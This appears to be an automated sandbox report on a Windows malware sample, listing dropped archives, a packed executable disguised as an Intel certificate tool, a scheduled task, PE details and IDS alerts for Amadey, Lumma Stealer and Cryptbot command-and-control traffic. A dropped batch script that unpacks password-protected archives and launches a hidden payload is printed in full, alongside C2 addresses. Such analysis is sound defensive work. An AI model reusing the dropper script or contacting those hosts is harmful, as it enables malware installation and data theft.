Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\random.exe_Y.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4429789127118338
Encrypted:	false
SSDEEP:	6:FjDbXUhXUEZ+lX1CGdKUe6tE9+AQy0lMqut0:FHr4Q1CGAFD9+nVFut0
MD5:	2AA5355810A4A1FA4739A438F5245AFB
SHA1:	5BD40A26D676612A017FAE9DA2FE2287D95C1B0F
SHA-256:	CB19FA2D3AC04C452C1C1DE9C5A77AF124E0683275FDDEE4187A4A203EF1689A
SHA-512:	119AC08A7C277DB0A5894742C4A1F37CDCA5D6129E72839016BE8B11FA344459E74EBE133A4B354BB53F882ACF5689854D611A3E6DF6F4C20E6D78039AAF636A
Malicious:	false
Preview:	....[E_....F...r}.cF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0................./.@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.0682682106683945
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQFfpap1tNjtv:pMpDh5RwXSTgqFyYwzuJA1tNp
MD5:	2F644B7E25627553C5731B735473C859
SHA1:	5A3C2158A1FCF27AE6807A8079894FFE8D33FBEA
SHA-256:	2B34B0DE62F49C19D1F9A004AD698E2612F7FCD5072F5C9834621C62F15FB55F
SHA-512:	E83CA818C9785EB3A0297E65F08E22DC9E29A368BCADC9887B64EC746C88B79ACBAD20B4B6D49C07CB819ACE21B00C2BEB083F18A0CD5528D2BD00A7B0C4E802
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.575662109562546
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	random.exe_Y.exe
File size:	2'985'472 bytes
MD5:	5c4d6b420293fbf347f649016fab86f8
SHA1:	242b846ca8d55d7d40527d2494a1a3d83e9cba1e
SHA256:	2f423ea9129684a3f39d3ca8aebc3c470f6895786c4277815307ede64e160deb
SHA512:	e0475c4f8954c40b41a5c56b9024cc5448f82c98877c0964679ace18504255e68a7d6a334c7c29616ffb1fef07b8fd23fb82a8d09c3dc3e30fcb6495ea808fdf
SSDEEP:	49152:gbeCjCycKq+4fXq3hnb/KoTaom8SayudX:gbeCj7cKqZfXq3hbVurayuJ
TLSH:	A8D55C92A445FACBD88B5BB58423CD866D5D03B8072049D3E82D74BEBEE3CC415F9E64
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x714000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3458E3749Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x31205c	0x10	xswvdtxt
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x31200c	0x18	xswvdtxt
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	959cd766827e5a7029f7b2788e29adef	False	0.9982278184604905	data	7.984148545598198	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xswvdtxt	0x6b000	0x2a8000	0x2a7200	b4ee66cda51e21b4467147fe1a072239	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wvmigpas	0x313000	0x1000	0x400	9467e91aa8c7559c29d56fa3e480474f	False	0.744140625	data	5.863552655399057	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x314000	0x3000	0x2200	f9260ff9c865ace39a7abfa85990c6f8	False	0.06020220588235294	DOS executable (COM)	0.7495252086357653	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T11:47:06.998233+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49789	185.215.113.43	80	TCP
2024-12-18T11:47:13.770477+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49806	31.41.244.11	80	TCP
2024-12-18T11:47:23.585529+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49796	TCP
2024-12-18T11:47:25.561620+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49833	185.215.113.43	80	TCP
2024-12-18T11:47:27.141306+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49837	31.41.244.11	80	TCP
2024-12-18T11:47:34.121562+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49855	185.215.113.43	80	TCP
2024-12-18T11:47:35.564160+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49859	31.41.244.11	80	TCP
2024-12-18T11:47:41.096117+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.6	64882	1.1.1.1	53	UDP
2024-12-18T11:47:41.298783+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49873	185.215.113.43	80	TCP
2024-12-18T11:47:41.406695+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.6	62446	1.1.1.1	53	UDP
2024-12-18T11:47:42.741192+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49878	31.41.244.11	80	TCP
2024-12-18T11:47:42.965417+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49880	104.21.64.80	443	TCP
2024-12-18T11:47:42.965417+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49880	104.21.64.80	443	TCP
2024-12-18T11:47:44.030488+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49880	104.21.64.80	443	TCP
2024-12-18T11:47:44.030488+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49880	104.21.64.80	443	TCP
2024-12-18T11:47:45.055165+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49886	104.21.64.80	443	TCP
2024-12-18T11:47:45.055165+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49886	104.21.64.80	443	TCP
2024-12-18T11:47:53.569167+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49906	185.215.113.43	80	TCP
2024-12-18T11:47:55.009611+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49910	31.41.244.11	80	TCP
2024-12-18T11:48:01.745121+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49925	185.215.113.43	80	TCP
2024-12-18T11:48:02.940606+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49930	172.67.209.202	443	TCP
2024-12-18T11:48:05.383827+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49930	172.67.209.202	443	TCP
2024-12-18T11:48:05.383827+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49930	172.67.209.202	443	TCP
2024-12-18T11:48:06.653481+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49941	172.67.209.202	443	TCP
2024-12-18T11:48:08.807533+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49941	172.67.209.202	443	TCP
2024-12-18T11:48:08.807533+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49941	172.67.209.202	443	TCP
2024-12-18T11:48:11.062331+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49955	172.67.209.202	443	TCP
2024-12-18T11:48:15.445209+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49967	172.67.209.202	443	TCP
2024-12-18T11:48:19.322382+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49978	172.67.209.202	443	TCP
2024-12-18T11:48:23.127805+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49990	172.67.209.202	443	TCP
2024-12-18T11:48:26.874139+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	49999	185.185.71.170	80	TCP
2024-12-18T11:48:26.984380+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50000	172.67.209.202	443	TCP
2024-12-18T11:48:27.391090+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50000	172.67.209.202	443	TCP
